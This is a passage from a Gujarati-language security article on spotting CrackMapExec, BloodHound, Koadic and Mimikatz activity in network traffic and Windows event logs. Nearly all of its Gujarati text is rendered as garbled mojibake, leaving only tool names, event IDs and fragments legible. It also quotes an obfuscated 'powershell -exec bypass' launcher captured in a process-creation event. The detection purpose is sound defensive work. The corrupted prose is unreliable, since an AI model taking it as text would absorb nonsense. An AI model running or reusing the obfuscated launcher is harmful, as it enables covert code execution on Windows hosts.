เชเชฎเซเชชเซเชเซเช เช เชนเซเชฎเชฒเชพเชจเชพ เชธเชพเชงเชจเซเชจเชพ เชตเชฟเชเชพเชธ เชฎเชพเชเซเชจเซ เชเชงเชพเชฐ เชเซ. เชคเซ เชตเชฟเชจเซเชกเซเช เชเชจเซเชซเซเชฐเชพเชธเซเชเซเชฐเชเซเชเชฐเชฎเชพเช เชฒเชเชญเช เชคเชฎเชพเชฎ เชชเซเชฐเซเชเซเชเซเชฒเซเชธเชจเซ เชธเชชเซเชฐเซเช เชเชฐเซ เชเซ เช เชจเซ เชคเซ เช เชธเชฎเชฏเซ เชคเซเชจเซ เชชเซเชคเชพเชจเซ เชฒเชพเชเซเชทเชฃเชฟเชเชคเชพเช เชเซ. เช เชนเซเช เชตเชฟเชถเชฟเชทเซเช เชตเชฟเชจเชฐเซเช เชตเชฟเชจเชเชคเซเช เชเซ, เช เชจเซ เชฒเชพเชเซเชทเชฃเชฟเช เชเชฆเซเชถ เชฐเชเชจเชพ เชธเชพเชฅเซ SCM API เชจเซ เชเชชเชฏเซเช, เช เชจเซ เชซเชพเชเชฒ เชจเชพเชฎเชจเซเช เชซเซเชฐเซเชฎเซเช, เช เชจเซ SMB เชถเซเชฐ SYSTEM32.
CRACKMAPEXEC
CME เชเซเชฒ เชฎเซเชเซเชฏเชคเซเชตเซ เชคเซ เชจเชฟเชฏเชฎเชฟเชค เชเซเชฐเชฟเชฏเชพเชเชจเซ เชธเซเชตเชเชพเชฒเชฟเชค เชเชฐเชตเชพ เชฎเชพเชเซ เชฐเชเชพเชฏเซเชฒ เชเซ เชเซ เชนเซเชฎเชฒเชพเชเซเชฐเซ เชจเซเชเชตเชฐเซเชเชฎเชพเช เชเชเชณ เชตเชงเชตเชพ เชฎเชพเชเซ เชเชฐเชตเชพเชจเซ เชนเซเชฏ เชเซ. เชคเซ เชคเชฎเชจเซ เชเชพเชฃเซเชคเชพ เชเชฎเซเชชเชพเชฏเชฐ เชเชเชจเซเช เช เชจเซ เชฎเซเชเชฐเชชเซเชฐเซเชเชฐ เชธเชพเชฅเซ เชเซเชกเชพเชฃเชฎเชพเช เชเชพเชฎ เชเชฐเชตเชพเชจเซ เชฎเชเชเซเชฐเซ เชเชชเซ เชเซ. เชเชฆเซเชถเซเชจเซ เชเซเชชเซเชค เชฐเซเชคเซ เชเชฒเชพเชตเชตเชพ เชฎเชพเชเซ, CME เชคเซเชฎเชจเซ เช เชธเซเชชเชทเซเช เชเชฐเซ เชถเชเซ เชเซ. เชฌเซเชฒเชกเชนเชพเชเชจเซเชก (เช เชฒเช เชฐเชฟเชเซเชจเชฟเชธเชจเซเชธ เชเซเชฒ) เชจเซ เชเชชเชฏเซเช เชเชฐเซเชจเซ, เชนเซเชฎเชฒเชพเชเซเชฐ เชธเชเซเชฐเชฟเชฏ เชกเซเชฎเซเชจ เชเชกเชฎเชฟเชจเชฟเชธเซเชเซเชฐเซเชเชฐ เชธเชคเซเชฐเชจเซ เชถเซเชงเชจเซ เชธเซเชตเชเชพเชฒเชฟเชค เชเชฐเซ เชถเชเซ เชเซ.
เชฌเซเชฒเชกเชนเชพเชเชจเซเชกเชจเซ
เชฌเซเชฒเชกเชนเชพเชเชจเซเชก, เชเช เชธเซเชตเชคเชเชคเซเชฐ เชธเชพเชงเชจ เชคเชฐเซเชเซ, เชจเซเชเชตเชฐเซเชเชฎเชพเช เช เชฆเซเชฏเชคเชจ เชฐเชฟเชเซเชจเชฟเชธเชจเซเชธ เชฎเชพเชเซ เชชเชฐเชตเชพเชจเชเซ เชเชชเซ เชเซ. เชคเซ เชตเชชเชฐเชพเชถเชเชฐเซเชคเชพเช, เชฎเชถเซเชจเซ, เชเซเชฅเซ, เชธเชคเซเชฐเซ เชตเชฟเชถเซเชจเซ เชกเซเชเชพ เชเชเชคเซเชฐเชฟเชค เชเชฐเซ เชเซ เช เชจเซ เชชเชพเชตเชฐเชถเซเชฒ เชธเซเชเซเชฐเชฟเชชเซเช เช เชฅเชตเชพ เชฌเชพเชเชจเชฐเซ เชซเชพเชเชฒ เชคเชฐเซเชเซ เชชเซเชฐเซ เชชเชพเชกเชตเชพเชฎเชพเช เชเชตเซ เชเซ. LDAP เช เชฅเชตเชพ SMB-เชเชงเชพเชฐเชฟเชค เชชเซเชฐเซเชเซเชเซเชฒเชจเซ เชเชชเชฏเซเช เชฎเชพเชนเชฟเชคเซ เชเชเชคเซเชฐเชฟเชค เชเชฐเชตเชพ เชฎเชพเชเซ เชฅเชพเชฏ เชเซ. CME เชเชจเซเชเชฟเชเซเชฐเซเชถเชจ เชฎเซเชกเซเชฏเซเชฒ เชฌเซเชฒเชกเชนเชพเชเชจเซเชกเชจเซ เชชเซเชกเชฟเชคเชจเชพ เชฎเชถเซเชจ เชชเชฐ เชกเชพเชเชจเชฒเซเชก เชเชฐเชตเชพเชจเซ, เชเชเซเชเซเชเซเชฏเซเชถเชจ เชชเชเซ เชเชเชคเซเชฐเชฟเชค เชเชฐเชตเชพเชฎเชพเช เชเชตเซเชฒ เชกเซเชเชพเชจเซ เชเชฒเชพเชตเชตเชพ เช เชจเซ เชชเซเชฐเชพเชชเซเชค เชเชฐเชตเชพเชจเซ เชฎเชเชเซเชฐเซ เชเชชเซ เชเซ, เชเซเชจเชพเชฅเซ เชธเชฟเชธเซเชเชฎเชฎเชพเช เชเชเซเชฎเซเชเชฟเช เชเซเชฐเชฟเชฏเชพเช เชฅเชพเชฏ เชเซ เช เชจเซ เชคเซเชฎเชจเซ เชเชเชพ เชงเซเชฏเชพเชจเชชเชพเชคเซเชฐ เชฌเชจเชพเชตเซ เชเซ. เชฌเซเชฒเชกเชนเชพเชเชจเซเชก เชเซเชฐเชพเชซเชฟเชเชฒ เชถเซเชฒ เชเชเชคเซเชฐเชฟเชค เชกเซเชเชพเชจเซ เชเซเชฐเชพเชซเชจเชพ เชฐเซเชชเชฎเชพเช เชฐเชเซ เชเชฐเซ เชเซ, เชเซ เชคเชฎเชจเซ เชนเซเชฎเชฒเชพเชเซเชฐเชจเชพ เชฎเชถเซเชจเชฅเซ เชกเซเชฎเซเชจ เชเชกเชฎเชฟเชจเชฟเชธเซเชเซเชฐเซเชเชฐ เชธเซเชงเซเชจเซ เชเซเชเชเซ เชฐเชธเซเชคเซ เชถเซเชงเชตเชพเชจเซ เชฎเชเชเซเชฐเซ เชเชชเซ เชเซ.
เชเซเชเชพ. 6. เชฌเซเชฒเชกเชนเชพเชเชจเซเชก เชเชจเซเชเชฐเชซเซเชธ
เชชเซเชกเชฟเชคเชจเชพ เชฎเชถเซเชจ เชชเชฐ เชเชฒเชพเชตเชตเชพ เชฎเชพเชเซ, เชฎเซเชกเซเชฏเซเชฒ ATSVC เช เชจเซ SMB เชจเซ เชเชชเชฏเซเช เชเชฐเซเชจเซ เชเช เชเชพเชฐเซเชฏ เชฌเชจเชพเชตเซ เชเซ. ATSVC เช Windows Task Scheduler เชธเชพเชฅเซ เชเชพเชฎ เชเชฐเชตเชพ เชฎเชพเชเซเชจเซเช เชเช เชเชจเซเชเชฐเชซเซเชธ เชเซ. CME เชจเซเชเชตเชฐเซเช เชชเชฐ เชเชพเชฐเซเชฏเซ เชฌเชจเชพเชตเชตเชพ เชฎเชพเชเซ เชคเซเชจเชพ NetrJobAdd(1) เชซเชเชเซเชถเชจเชจเซ เชเชชเชฏเซเช เชเชฐเซ เชเซ. CME เชฎเซเชกเซเชฏเซเชฒ เชถเซเช เชฎเซเชเชฒเซ เชเซ เชคเซเชจเซเช เชเชฆเชพเชนเชฐเชฃ เชซเชฟเชเชฎเชพเช เชฌเชคเชพเชตเชตเชพเชฎเชพเช เชเชตเซเชฏเซเช เชเซ. 7: เช เชเช cmd.exe เชเชฎเชพเชจเซเชก เชเซเชฒ เชเซ เช เชจเซ XML เชซเซเชฐเซเชฎเซเชเชฎเชพเช เชฆเชฒเซเชฒเซเชจเชพ เชฐเซเชชเชฎเชพเช เช เชธเซเชชเชทเซเช เชเซเชก เชเซ.
เชซเชฟเช.7. CME เชฆเซเชตเชพเชฐเชพ เชเชพเชฐเซเชฏ เชฌเชจเชพเชตเชตเซเช
เชเชพเชฐเซเชฏเชจเซ เช เชฎเชฒ เชฎเชพเชเซ เชธเชฌเชฎเชฟเช เชเชฐเซเชฏเชพ เชชเชเซ, เชชเซเชกเชฟเชคเชจเซเช เชฎเชถเซเชจ เชฌเซเชฒเชกเชนเชพเชเชจเซเชก เชชเซเชคเซ เช เชถเชฐเซ เชเชฐเซ เชเซ, เช เชจเซ เช เชเซเชฐเชพเชซเชฟเชเชฎเชพเช เชเซเช เชถเชเชพเชฏ เชเซ. เชฎเซเชกเซเชฏเซเชฒ เชชเซเชฐเชฎเชพเชฃเชญเซเชค เชเซเชฅเซ, เชกเซเชฎเซเชจเชฎเชพเชเชจเชพ เชคเชฎเชพเชฎ เชฎเชถเซเชจเซ เช เชจเซ เชตเชชเชฐเชพเชถเชเชฐเซเชคเชพเชเชจเซ เชธเซเชเชฟ เชฎเซเชณเชตเชตเชพ เช เชจเซ SRVSVC NetSessEnum เชตเชฟเชจเชเชคเซ เชฆเซเชตเชพเชฐเชพ เชธเชเซเชฐเชฟเชฏ เชตเชชเชฐเชพเชถเชเชฐเซเชคเชพ เชธเชคเซเชฐเซ เชตเชฟเชถเซ เชฎเชพเชนเชฟเชคเซ เชฎเซเชณเชตเชตเชพ เชฎเชพเชเซ LDAP เชเซเชตเซเชฐเซเช เชฆเซเชตเชพเชฐเชพ เชตเชฐเซเชเซเชเซเชค เชฅเชฏเซเชฒ เชเซ.
เชเซเชเชพ. 8. SMB เชฆเซเชตเชพเชฐเชพ เชธเชเซเชฐเชฟเชฏ เชธเชคเซเชฐเซเชจเซ เชฏเชพเชฆเซ เชฎเซเชณเชตเชตเซ
เชตเชงเซเชฎเชพเช, เชเชกเชฟเชเซเชเช เชธเชเซเชทเชฎ เชธเชพเชฅเซ เชชเซเชกเชฟเชคเชจเชพ เชฎเชถเซเชจ เชชเชฐ เชฌเซเชฒเชกเชนเชพเชเชจเซเชก เชฒเซเชจเซเช เชเชฐเชตเชพเชจเซ เชธเชพเชฅเซ ID 4688 (เชชเซเชฐเชเซเชฐเชฟเชฏเชพ เชฌเชจเชพเชตเช) เช
เชจเซ เชชเซเชฐเชเซเชฐเชฟเชฏเชพเชจเชพ เชจเชพเชฎ เชธเชพเชฅเซเชจเซ เชเชตเซเชจเซเช เชเซ. ยซC:WindowsSystem32cmd.exeยป
. เชคเซเชจเชพ เชตเชฟเชถเซ เชเซ เชจเซเชเชงเชชเชพเชคเซเชฐ เชเซ เชคเซ เชเชฆเซเชถ เชตเชพเชเซเชฏ เชฆเชฒเซเชฒเซ เชเซ:
cmd.exe /Q /c powershell.exe -exec bypass -noni -nop -w 1 -C " & ( $eNV:cOmSPEc[4,26,25]-JOiN'')( [chAR[]](91 , 78, 101,116 , 46, 83 , 101 , โฆ , 40,41 )-jOIN'' ) "
Enum_avproducts
enum_avproducts เชฎเซเชกเซเชฏเซเชฒ เชเชพเชฐเซเชฏเชเซเชทเชฎเชคเชพ เช เชจเซ เช เชฎเชฒเซเชเชฐเชฃเชจเชพ เชฆเซเชทเซเชเชฟเชเซเชฃเชฅเซ เชเซเชฌ เช เชฐเชธเชชเซเชฐเชฆ เชเซ. WMI เชคเชฎเชจเซ เชตเชฟเชตเชฟเชง Windows เชเชฌเซเชเซเชเซเชเซเชธเชฎเชพเชเชฅเซ เชกเซเชเชพ เชชเซเชจเชเชชเซเชฐเชพเชชเซเชค เชเชฐเชตเชพ เชฎเชพเชเซ WQL เชเซเชตเซเชฐเซ เชญเชพเชทเชพเชจเซ เชเชชเชฏเซเช เชเชฐเชตเชพเชจเซ เชฎเชเชเซเชฐเซ เชเชชเซ เชเซ, เชเซ เชเชตเชถเซเชฏเชเชชเชฃเซ เช CME เชฎเซเชกเซเชฏเซเชฒ เชตเชพเชชเชฐเซ เชเซ. เชคเซ AntiSpywareProduct เช เชจเซ AntiMirusProduct เชตเชฐเซเชเซ เชฎเชพเชเซ เชชเซเชกเชฟเชคเชจเชพ เชฎเชถเซเชจ เชชเชฐ เชเชจเซเชธเซเชเซเชฒ เชเชฐเซเชฒ เชธเซเชฐเชเซเชทเชพ เชธเชพเชงเชจเซ เชตเชฟเชถเซ เชชเซเชฐเชถเซเชจเซ เชชเซเชฆเชพ เชเชฐเซ เชเซ. เชเชฐเซเชฐเซ เชกเซเชเชพ เชฎเซเชณเชตเชตเชพ เชฎเชพเชเซ, เชฎเซเชกเซเชฏเซเชฒ rootSecurityCenter2 เชจเซเชฎเชธเซเชชเซเชธ เชธเชพเชฅเซ เชเซเชกเชพเชฏ เชเซ, เชชเชเซ WQL เชเซเชตเซเชฐเซ เชเชจเชฐเซเช เชเชฐเซ เชเซ เช เชจเซ เชชเซเชฐเชคเชฟเชธเชพเชฆ เชฎเซเชณเชตเซ เชเซ. เชซเชฟเช เชฎเชพเช. เชเชเซเชคเชฟ 9 เชเชตเซ เชตเชฟเชจเชเชคเซเช เช เชจเซ เชชเซเชฐเชคเชฟเชญเชพเชตเซเชจเซ เชธเชพเชฎเชเซเชฐเซ เชฆเชฐเซเชถเชพเชตเซ เชเซ. เช เชฎเชพเชฐเชพ เชเชฆเชพเชนเชฐเชฃเชฎเชพเช, เชตเชฟเชจเซเชกเซเช เชกเชฟเชซเซเชจเซเชกเชฐ เชฎเชณเซ เชเชตเซเชฏเซเช เชนเชคเซเช.
เชเซเชเชพ. 9. enum_avproducts เชฎเซเชกเซเชฏเซเชฒเชจเซ เชจเซเชเชตเชฐเซเช เชชเซเชฐเชตเซเชคเซเชคเชฟ
เชเชฃเซเชตเชพเชฐ, WMI เชเชกเชฟเชเซเชเช (เชเซเชฐเซเชธ WMI-เชชเซเชฐเชตเซเชคเซเชคเชฟ), เชเซเชจเซ เชเชตเซเชจเซเชเชฎเชพเช เชคเชฎเซ WQL เชเซเชตเซเชฐเซเช เชตเชฟเชถเซ เชเชชเชฏเซเชเซ เชฎเชพเชนเชฟเชคเซ เชฎเซเชณเชตเซ เชถเชเซ เชเซ, เชคเซ เช เชเซเชทเชฎ เชฅเช เชถเชเซ เชเซ. เชชเชฐเชเชคเซ เชเซ เชคเซ เชธเชเซเชทเชฎ เชเซ, เชคเซ เชเซ enum_avproducts เชธเซเชเซเชฐเชฟเชชเซเช เชเชฒเชพเชตเชตเชพเชฎเชพเช เชเชตเซ เชเซ, เชคเซ ID 11 เชธเชพเชฅเซเชจเซ เชเชตเซเชจเซเช เชธเชพเชเชตเชตเชพเชฎเชพเช เชเชตเชถเซ. เชคเซเชฎเชพเช เชคเซ เชตเชชเชฐเชพเชถเชเชฐเซเชคเชพเชจเซเช เชจเชพเชฎ เชนเชถเซ เชเซเชฃเซ เชตเชฟเชจเชเชคเซ เชฎเซเชเชฒเซ เชเซ เช เชจเซ เชจเชพเชฎ rootSecurityCenter2 เชจเซเชฎเชธเซเชชเซเชธเชฎเชพเช เชนเชถเซ.
เชฆเชฐเซเช CME เชฎเซเชกเซเชฏเซเชฒเชจเซ เชชเซเชคเชพเชจเซ เชเชฒเชพเชเซเชคเชฟเช เชนเชคเซ, เชชเชเซ เชคเซ เชตเชฟเชถเชฟเชทเซเช WQL เชเซเชตเซเชฐเซเช เชนเซเชฏ เช เชฅเชตเชพ LDAP เช เชจเซ SMB เชฎเชพเช เช เชธเซเชชเชทเซเชเชคเชพ เช เชจเซ เชฌเซเชฒเชกเชนเชพเชเชจเซเชก-เชตเชฟเชถเชฟเชทเซเช เชชเซเชฐเชตเซเชคเซเชคเชฟ เชธเชพเชฅเซ เชเชพเชธเซเช เชถเซเชกเซเชฏเซเชฒเชฐเชฎเชพเช เชเซเชเซเชเชธ เชชเซเชฐเชเชพเชฐเชจเชพ เชเชพเชฐเซเชฏเชจเซ เชฐเชเชจเชพ เชนเซเชฏ.
เชเซเชเชกเชฟเช
Koadic เชจเซ เชเช เชตเชฟเชถเชฟเชทเซเช เชตเชฟเชถเซเชทเชคเชพ เช Windows เชฎเชพเช เชฌเชจเซเชฒ JavaScript เช เชจเซ VBScript เชฆเซเชญเชพเชทเชฟเชฏเชพเชเชจเซ เชเชชเชฏเซเช เชเซ. เช เช เชฐเซเชฅเชฎเชพเช, เชคเซ เชเชฎเซเชจเชจเชพ เชตเชฒเชฃเชจเซ เช เชจเซเชธเชฐเซ เชเซ - เชเชเชฒเซ เชเซ, เชคเซเชจเซ เชเซเช เชฌเชพเชนเซเชฏ เช เชตเชฒเชเชฌเชจ เชจเชฅเซ เช เชจเซ เชคเซ เชชเซเชฐเชฎเชพเชฃเชญเซเชค Windows เชธเชพเชงเชจเซเชจเซ เชเชชเชฏเซเช เชเชฐเซ เชเซ. เช เชธเชเชชเซเชฐเซเชฃ เชเชฆเซเชถ เช เชจเซ เชจเชฟเชฏเชเชคเซเชฐเชฃ (CnC) เชฎเชพเชเซเชจเซเช เชเช เชธเชพเชงเชจ เชเซ, เชเชพเชฐเชฃ เชเซ เชเซเชช เชชเชเซ เชฎเชถเซเชจ เชชเชฐ "เชเชฎเซเชชเซเชฒเชพเชจเซเช" เชเชจเซเชธเซเชเซเชฒ เชเชฐเชตเชพเชฎเชพเช เชเชตเซ เชเซ, เชเซ เชคเซเชจเซ เชจเชฟเชฏเชเชคเซเชฐเชฟเชค เชเชฐเชตเชพเชจเซ เชฎเชเชเซเชฐเซ เชเชชเซ เชเซ. เชเชตเชพ เชฎเชถเซเชจเชจเซ, เชเซเชเชกเชฟเช เชชเชฐเชฟเชญเชพเชทเชพเชฎเชพเช, "เชเซเชฎเซเชฌเซ" เชเชนเซเชตเชพเชฎเชพเช เชเชตเซ เชเซ. เชเซ เชชเซเชกเชฟเชคเชจเซ เชฌเชพเชเซเช เชธเชเชชเซเชฐเซเชฃ เชเชพเชฎเชเซเชฐเซ เชฎเชพเชเซ เช เชชเซเชฐเชคเชพ เชตเชฟเชถเซเชทเชพเชงเชฟเชเชพเชฐเซ เชนเซเชฏ, เชคเซ เชเซเชเชกเชฟเช เชชเชพเชธเซ เชฏเซเชเชฐ เชเชเชพเชเชจเซเช เชเชเชเซเชฐเซเชฒ เชฌเชพเชฏเชชเชพเชธ (เชฏเซเชเชธเซ เชฌเชพเชฏเชชเชพเชธ) เชคเชเชจเซเชเซเชจเซ เชเชชเชฏเซเช เชเชฐเซเชจเซ เชคเซเชฎเชจเซ เชตเชงเชพเชฐเชตเชพเชจเซ เชเซเชทเชฎเชคเชพ เชเซ.
เชเซเชเชพ. 10. เชเซเชเชกเชฟเช เชถเซเชฒ
เชชเซเชกเชฟเชคเชพเช เชเชฎเชพเชจเซเชก เชเชจเซเชก เชเชเชเซเชฐเซเชฒ เชธเชฐเซเชตเชฐ เชธเชพเชฅเซ เชตเชพเชคเชเซเชค เชถเชฐเซ เชเชฐเชตเซ เชเซเชเช. เช เชเชฐเชตเชพ เชฎเชพเชเซ, เชคเซเชฃเซเช เช เชเชพเช เชคเซเชฏเชพเชฐ เชเชฐเซเชฒ เชฏเซเชเชฐเชเชเชจเซ เชธเชเชชเชฐเซเช เชเชฐเชตเชพเชจเซ เชเชฐเซเชฐ เชเซ เช เชจเซ เชธเซเชเซเชเชฐเซเชธเชฎเชพเชเชฅเซ เชเชเชจเซ เชเชชเชฏเซเช เชเชฐเซเชจเซ เชฎเซเชเซเชฏ เชเซเชเชกเชฟเช เชฌเซเชกเซ เชชเซเชฐเชพเชชเซเชค เชเชฐเชตเชพเชจเซ เชเชฐเซเชฐ เชเซ. เชซเชฟเช เชฎเชพเช. เชเชเซเชคเชฟ 11 เช mshta เชธเซเชเซเชเชฐ เชฎเชพเชเซเชจเซเช เชเชฆเชพเชนเชฐเชฃ เชฌเชคเชพเชตเซ เชเซ.
เชเซเชเชพ. 11. CnC เชธเชฐเซเชตเชฐ เชธเชพเชฅเซ เชธเชคเซเชฐเชจเซ เชถเชฐเซเชเชค เชเชฐเซ เชฐเชนเซเชฏเชพ เชเซเช
เชชเซเชฐเชคเชฟเชญเชพเชต เชเชฒ WS เชจเชพ เชเชงเชพเชฐเซ, เชคเซ เชธเซเชชเชทเซเช เชฅเชพเชฏ เชเซ เชเซ เช เชฎเชฒ WScript.Shell เชฆเซเชตเชพเชฐเชพ เชฅเชพเชฏ เชเซ, เช เชจเซ เชเชฒ STAGER, SESSIONKEY, JOBKEY, JOBKEYPATH, EXPIRE เชตเชฐเซเชคเชฎเชพเชจ เชธเชคเซเชฐเชจเชพ เชชเชฐเชฟเชฎเชพเชฃเซ เชตเชฟเชถเซ เชฎเซเชเซเชฏ เชฎเชพเชนเชฟเชคเซ เชงเชฐเชพเชตเซ เชเซ. CnC เชธเชฐเซเชตเชฐ เชธเชพเชฅเซ HTTP เชเชจเซเชเซเชถเชจเชฎเชพเช เช เชชเซเชฐเชฅเชฎ เชตเชฟเชจเชเชคเซ-เชชเซเชฐเชคเชฟเชธเชพเชฆ เชเซเชกเซ เชเซ. เช เชจเซเชเชพเชฎเซ เชตเชฟเชจเชเชคเซเช เชเชนเซเชตเชพเชคเชพ เชฎเซเชกเซเชฏเซเชฒเซเชธ (เชเชฎเซเชชเซเชฒเชพเชจเซเช) เชจเซ เชเชพเชฐเซเชฏเชเซเชทเชฎเชคเชพ เชธเชพเชฅเซ เชธเซเชงเซ เชฐเซเชคเซ เชธเชเชฌเชเชงเชฟเชค เชเซ. เชฌเชงเชพ เชเซเชเชกเชฟเช เชฎเซเชกเซเชฏเซเชฒเซเชธ CnC เชธเชพเชฅเซ เชธเชเซเชฐเชฟเชฏ เชธเชคเซเชฐ เชธเชพเชฅเซ เช เชเชพเชฎ เชเชฐเซ เชเซ.
เชฎเซเชฎเชฟเชเซเชธ
เชเซเชฎ CME เชฌเซเชฒเชกเชนเชพเชเชจเซเชก เชธเชพเชฅเซ เชเชพเชฎ เชเชฐเซ เชเซ, เชคเซเชฎ Koadic Mimikatz เชธเชพเชฅเซ เชเช เช เชฒเช เชชเซเชฐเซเชเซเชฐเชพเชฎ เชคเชฐเซเชเซ เชเชพเชฎ เชเชฐเซ เชเซ เช เชจเซ เชคเซเชจเซ เชฒเซเชจเซเช เชเชฐเชตเชพเชจเซ เชฌเชนเซเชตเชฟเชง เชฐเซเชคเซ เชเซ. เชจเซเชเซ Mimikatz เชเชฎเซเชชเซเชฒเชพเชจเซเช เชกเชพเชเชจเชฒเซเชก เชเชฐเชตเชพ เชฎเชพเชเซ เชตเชฟเชจเชเชคเซ-เชชเซเชฐเชคเชฟเชธเชพเชฆ เชเซเชกเซ เชเซ.
เชเซเชเชพ. 12. Mimikatz เชจเซ Koadic เชฎเชพเช เชธเซเชฅเชพเชจเชพเชเชคเชฐเชฟเชค เชเชฐเซ
เชคเชฎเซ เชเซเช เชถเชเซ เชเซ เชเซ เชตเชฟเชจเชเชคเซเชฎเชพเช URI เชซเซเชฐเซเชฎเซเช เชเซเชตเซ เชฐเซเชคเซ เชฌเชฆเชฒเชพเชฏเซเช เชเซ. เชคเซ เชนเชตเซ csrf เชเชฒ เชฎเชพเชเซ เชฎเซเชฒเซเชฏ เชงเชฐเชพเชตเซ เชเซ, เชเซ เชชเชธเชเชฆ เชเชฐเซเชฒ เชฎเซเชกเซเชฏเซเชฒ เชฎเชพเชเซ เชเชตเชพเชฌเชฆเชพเชฐ เชเซ. เชคเซเชจเชพ เชจเชพเชฎ เชชเชฐ เชงเซเชฏเชพเชจ เชจ เชเชชเซ; เชเชชเชฃเซ เชฌเชงเชพ เชเชพเชฃเซเช เชเซเช เชเซ CSRF เชธเชพเชฎเชพเชจเซเชฏ เชฐเซเชคเซ เช เชฒเช เชฐเซเชคเซ เชธเชฎเชเชตเชพเชฎเชพเช เชเชตเซ เชเซ. เชชเซเชฐเชคเชฟเชธเชพเชฆ เชเซเชเชกเชฟเชเชจเซ เช เช เชฎเซเชเซเชฏ เชญเชพเช เชนเชคเซ, เชเซเชฎเชพเช เชฎเชฟเชฎเชฟเชเชพเชคเซเช เชธเชเชฌเชเชงเชฟเชค เชเซเชก เชเชฎเซเชฐเชตเชพเชฎเชพเช เชเชตเซเชฏเซ เชนเชคเซ. เชคเซ เชเชเชฆเชฎ เชฎเซเชเซเช เชเซ, เชคเซเชฅเซ เชเชพเชฒเซ เชฎเซเชเซเชฏ เชฎเซเชฆเซเชฆเชพเช เชเซเชเช. เช เชนเซเช เช เชฎเชพเชฐเซ เชชเชพเชธเซ เชฌเซเช 64 เชฎเชพเช เชเชจเซเชเซเชกเซเชก เชฎเซเชฎเซเชเชพเชเซเช เชฒเชพเชเชฌเซเชฐเซเชฐเซ เชเซ, เชเช เชธเซเชฐเซเชฏเชฒเชพเชเชเซเชก .NET เชเซเชฒเชพเชธ เชเซ เชเซ เชคเซเชจเซ เชเชจเซเชเซเชเซเช เชเชฐเชถเซ, เช เชจเซ เชฎเซเชฎเซเชเชพเชคเซเชเชจเซ เชฒเซเชจเซเช เชเชฐเชตเชพ เชฎเชพเชเซ เชฆเชฒเซเชฒเซ. เชเชเซเชเซเชเซเชฏเซเชถเชจ เชชเชฐเชฟเชฃเชพเชฎ เชจเซเชเชตเชฐเซเช เชชเชฐ เชธเซเชชเชทเซเช เชเซเชเซเชธเซเชเชฎเชพเช เชชเซเชฐเชธเชพเชฐเชฟเชค เชฅเชพเชฏ เชเซ.
เชเซเชเชพ. 13. เชฐเชฟเชฎเซเช เชฎเชถเซเชจ เชชเชฐ เชฎเชฟเชฎเชฟเชเซเชเซเช เชเชฒเชพเชตเชตเชพเชจเซเช เชชเชฐเชฟเชฃเชพเชฎ
Exec_cmd
Koadic เชชเชพเชธเซ เชฎเซเชกเซเชฏเซเชฒเซ เชชเชฃ เชเซ เชเซ เชเชฆเซเชถเซเชจเซ เชฆเซเชฐเชธเซเชฅ เชฐเซเชคเซ เชเชฒเชพเชตเซ เชถเชเซ เชเซ. เช เชนเซเช เชเชชเชฃเซ เชธเชฎเชพเชจ URI เชเชจเชฐเซเชถเชจ เชฎเซเชฅเชก เช เชจเซ เชชเชฐเชฟเชเชฟเชค sid เช เชจเซ csrf เชตเซเชฐเซเชเชฌเชฒเซเชธ เชเซเชเชถเซเช. exec_cmd เชฎเซเชกเซเชฏเซเชฒเชจเชพ เชเชฟเชธเซเชธเชพเชฎเชพเช, เชเซเชก เชฌเซเชกเซเชฎเชพเช เชเชฎเซเชฐเชตเชพเชฎเชพเช เชเชตเซ เชเซ เชเซ เชถเซเชฒ เชเชฆเซเชถเซ เชเชฒเชพเชตเชตเชพ เชฎเชพเชเซ เชธเชเซเชทเชฎ เชเซ. CnC เชธเชฐเซเชตเชฐเชจเชพ HTTP เชชเซเชฐเชคเชฟเชธเชพเชฆเชฎเชพเช เชธเชฎเชพเชฏเซเชฒ เชเชตเซ เชเซเชก เชจเซเชเซ เชฆเชฐเซเชถเชพเชตเซเชฒ เชเซ.
เชเซเชเชพ. 14. เชเชฎเซเชชเซเชฒเชพเชจเซเช เชเซเชก exec_cmd
เชเซเชก เชเชเซเชเซเชเซเชฏเซเชถเชจ เชฎเชพเชเซ เชชเชฐเชฟเชเชฟเชค WS เชเชเซเชฐเชฟเชฌเซเชฏเซเช เชธเชพเชฅเซ GAWTUUGCFI เชเชฒ เชเชฐเซเชฐเซ เชเซ. เชคเซเชจเซ เชฎเชฆเชฆ เชธเชพเชฅเซ, เชเชฎเซเชชเซเชฒเชพเชจเซเช เชถเซเชฒเชจเซ เชเซเชฒ เชเชฐเซ เชเซ, เชเซเชกเชจเซ เชฌเซ เชถเชพเชเชพเช เชชเชฐ เชชเซเชฐเชเซเชฐเชฟเชฏเชพ เชเชฐเซ เชเซ - shell.exec เชเชเชเชชเซเช เชกเซเชเชพ เชธเซเชเซเชฐเซเชฎ เช เชจเซ shell.run เชชเชฐเชค เชเชฐเซเชฏเชพ เชตเชฟเชจเชพ.
เชเซเชเชกเชฟเช เช เชเซเช เชตเชฟเชถเชฟเชทเซเช เชธเชพเชงเชจ เชจเชฅเซ, เชชเชฐเชเชคเซ เชคเซเชจเซ เชชเซเชคเชพเชจเซ เชเชฒเชพเชเซเชคเชฟเช เชเซ เชเซเชจเชพ เชฆเซเชตเชพเชฐเชพ เชคเซ เชเชพเชฏเชฆเซเชธเชฐ เชเซเชฐเชพเชซเชฟเชเชฎเชพเช เชถเซเชงเซ เชถเชเชพเชฏ เชเซ:
- HTTP เชตเชฟเชจเชเชคเซเชเชจเซ เชตเชฟเชถเซเชท เชฐเชเชจเชพ,
- winHttpRequests API เชจเซ เชเชชเชฏเซเช เชเชฐเซเชจเซ,
- ActiveXObject เชฆเซเชตเชพเชฐเชพ WScript.Shell เชเชฌเซเชเซเชเซเช เชฌเชจเชพเชตเชตเซเช,
- เชฎเซเชเซ เชเชเซเชเชฟเชเซเชฏเซเชเซเชฌเชฒ เชฌเซเชกเซ.
เชชเซเชฐเชพเชฐเชเชญเชฟเช เชเชจเซเชเซเชถเชจ เชธเซเชเซเชเชฐ เชฆเซเชตเชพเชฐเชพ เชถเชฐเซ เชเชฐเชตเชพเชฎเชพเช เชเชตเซ เชเซ, เชคเซเชฅเซ เชตเชฟเชจเซเชกเซเช เชเชตเซเชจเซเชเซเชธ เชฆเซเชตเชพเชฐเชพ เชคเซเชจเซ เชชเซเชฐเชตเซเชคเซเชคเชฟเชจเซ เชถเซเชงเชตเชพเชจเซเช เชถเชเซเชฏ เชเซ. mshta เชฎเชพเชเซ, เช เชเชตเซเชจเซเช 4688 เชเซ, เชเซ เชถเชฐเซเชเชคเชจเชพ เชฒเชเซเชทเชฃ เชธเชพเชฅเซ เชชเซเชฐเชเซเชฐเชฟเชฏเชพเชจเซ เชฐเชเชจเชพ เชธเซเชเชตเซ เชเซ:
